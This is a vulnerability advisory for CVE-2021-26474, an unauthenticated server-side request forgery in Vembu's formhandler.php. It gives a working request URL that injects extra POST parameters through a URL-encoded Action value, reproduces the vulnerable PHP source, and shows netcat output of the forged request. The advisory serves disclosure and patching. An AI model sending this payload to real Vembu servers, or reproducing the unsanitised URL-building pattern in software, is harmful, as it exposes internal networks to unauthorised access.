CVE-2021-26474 - Unauthenticated Server Side Request Forgery (SSRF)
Advisory
Upgrade to the latest version of Vembu; https://www.vembu.com/downloads
Technical details
It is possible to craft a request to the server allowing an attacker to trick the Vembu server in forwarding this request as his own. A.K.A. a Server Side Request forgery or SSRF. Allowing an attacker for example to access the internal network that the Vembu server is connected to.
In the screenshot below we request apache.org
In the case of the Vembu server we can send the following request; http://target:6060/api/tutorial/formhandler.php?ServerName=SOMEINTERNALSERVER&Action=action%26foo%3dbar&PortNo=80%2f?id=z
. The server will send a request to SOMEINTERNALSERVER
we can also send POST request parameters by setting Action=action%26foo%3dbar
.
So whats happening, below is the code used in api/tutorial/formhandler.php
<?php
$userName = $_REQUEST['UserName'];
$sigOne = $_REQUEST['Signature1'];
$sigTwo = $_REQUEST['Signature2'];
$loginType = $_REQUEST['SignatureVersion'];
$loginTime = $_REQUEST['LoginTime'];
$sessID = $_REQUEST['sessionID'];
$machineName = $_REQUEST['ServerName'];
$portNo = $_REQUEST['PortNo'];
$usrRequest = $_REQUEST['Action'];
$resName = $_REQUEST['ResellerName'];
$custName = $_REQUEST['CustomerName'];
$clientName = $_REQUEST['ClientName'];
$backupLocation = $_REQUEST['StorageLocation'];
$spaceAllotted = $_REQUEST['StorageAllotted'];
$activStatus = $_REQUEST['ActivationStatus'];
$autoAuthStatus = $_REQUEST['AutoAuthorizationStatus'];
$trialStatus = $_REQUEST['TrialStatus'];
$authPassword = $_REQUEST['AuthorizationPassword'];
$url = 'http://'.$machineName.':'.$portNo.'/sgwebservice.php';
$myArray = array("UserName"=>$userName, "Signature1"=>$sigOne, "Signature2"=>$sigTwo, "SignatureVersion"=>$loginType, "LoginTime"=>$loginTime, "sessionID"=>$sessID, "MachineName"=>$machineName, "Action"=>$usrRequest);
$toAppend = array();
switch($usrRequest)
{
case "AuthenticateUser" :
break;
case "SignupReseller" :
$toAppend = array("ResellerName"=>$resName, "StorageLocation"=>$backupLocation, "StorageAllotted"=>$spaceAllotted, "ActivationStatus"=>$activStatus, "AutoAuthorizationStatus"=>$autoAuthStatus, "TrialStatus"=>$trialStatus);
$url = 'http://'.$machineName.':'.$portNo.'/api/reseller.sgp';
break;
case "SignupCustomer" :
$toAppend = array("CustomerName"=>$custName, "ResellerName"=>$resName, "StorageLocation"=>$backupLocation, "StorageAllotted"=>$spaceAllotted, "ActivationStatus"=>$activStatus, "AutoAuthorizationStatus"=>$autoAuthStatus, "TrialStatus"=>$trialStatus);
$url = 'http://'.$machineName.':'.$portNo.'/api/customer.sgp';
break;
case "SignupClient" :
$toAppend = array("ClientName"=>$clientName, "CustomerName"=>$custName, "StorageLocation"=>$backupLocation, "StorageAllotted"=>$spaceAllotted, "ActivationStatus"=>$activStatus, "AutoAuthorizationStatus"=>$autoAuthStatus, "TrialStatus"=>$trialStatus, "AuthorizationPassword"=>$authPassword);
$url = 'http://'.$machineName.':'.$portNo.'/api/client.sgp';
break;
case "ActivateCustomer" :
$toAppend = array("CustomerName"=>$custName);
$url = 'http://'.$machineName.':'.$portNo.'/api/customer.sgp';
break;
case "DeActivateCustomer" :
$toAppend = array("CustomerName"=>$custName);
$url = 'http://'.$machineName.':'.$portNo.'/api/customer.sgp';
break;
case "ActivateClient" :
$toAppend = array("ClientName"=>$clientName);
$url = 'http://'.$machineName.':'.$portNo.'/api/client.sgp';
break;
case "DeActivateClient" :
$toAppend = array("ClientName"=>$clientName);
$url = 'http://'.$machineName.':'.$portNo.'/api/client.sgp';
break;
}
$newArray = array_merge($myArray, $toAppend);
/* Generating PostFields */
function GeneratePostFields($KeyValuePair=array())
{
$toRet = '';
foreach ($KeyValuePair as $k => $v) {
$toRet = $toRet."&".$k."=".$v;
}
$toRet = substr($toRet, 1);
return $toRet;
}
$postFields = GeneratePostFields($newArray);
//echo $postFields . '<br>';
/* Curl Handling */
$curl_handle=curl_init();
curl_setopt($curl_handle,CURLOPT_URL,$url);
curl_setopt($curl_handle, CURLOPT_POSTFIELDS,$postFields);
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER,1);
$response = curl_exec($curl_handle);
if(curl_errno($curl_handle)){
print curl_error($curl_handle);
}
curl_close($curl_handle);
echo $response;
?>
We only need a couple of parameters,
ServerName
PortNo
Action
These are converted to:
$machineName = $_REQUEST['ServerName'];
$portNo = $_REQUEST['PortNo'];
$usrRequest = $_REQUEST['Action'];
these variables end up in
$url = 'http://'.$machineName.':'.$portNo.'/sgwebservice.php';
and
parameter $usrRequest
is placed in an array as "Action"=>$usrRequest
:
$myArray = array("UserName"=>$userName, "Signature1"=>$sigOne, "Signature2"=>$sigTwo, "SignatureVersion"=>$loginType, "LoginTime"=>$loginTime, "sessionID"=>$sessID, "MachineName"=>$machineName, "Action"=>$usrRequest);
Now the "Action"=>$usrRequest
contains an url encoded paramaters %26foo%3dbar
(&foo=bar
)
If we follow the code the cases in switch($usrRequest)
are never hit, so we can continue to $newArray = array_merge($myArray, $toAppend);
both arrays are merged but $toAppend
is empty, so $newArray
is still $myArray
.
Following the code $postFields = GeneratePostFields($newArray);
calls the function GeneratePostFields
, the function loops through every key value pair (foo=bar
) and returned as a concatenated parameters and placed in $postFields
.
Following the code flow, we end up in the Curl Handling
block:
curl_setopt($curl_handle,CURLOPT_URL,$url);
contains our $url
curl_setopt($curl_handle, CURLOPT_POSTFIELDS,$postFields);
contains our $postFields
This gets executed by $response = curl_exec($curl_handle);
and finaly the response is printed to screen by echo $response;
Because the Action
parameter contains url encoded “extra” parameters ( %26foo%3dbar
) these are being processed in $postFields = GeneratePostFields($newArray);
resulting in the POST request below, where we can make the server send a POST request where we control the parameters, to any internal and external system.
root@5a1a9ca3e0e9:/home/vembubdr/Vembu/VembuBDR/htmlgui/api/tutorial# nc -vlp 80
Listening on 0.0.0.0 80
Connection received on localhost 46024
POST /?id=z/sgwebservice.php HTTP/1.1
Host: localhost
Accept: */*
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
UserName=&Signature1=&Signature2=&SignatureVersion=&LoginTime=&sessionID=&MachineName=localhost&Action=action&foo=bar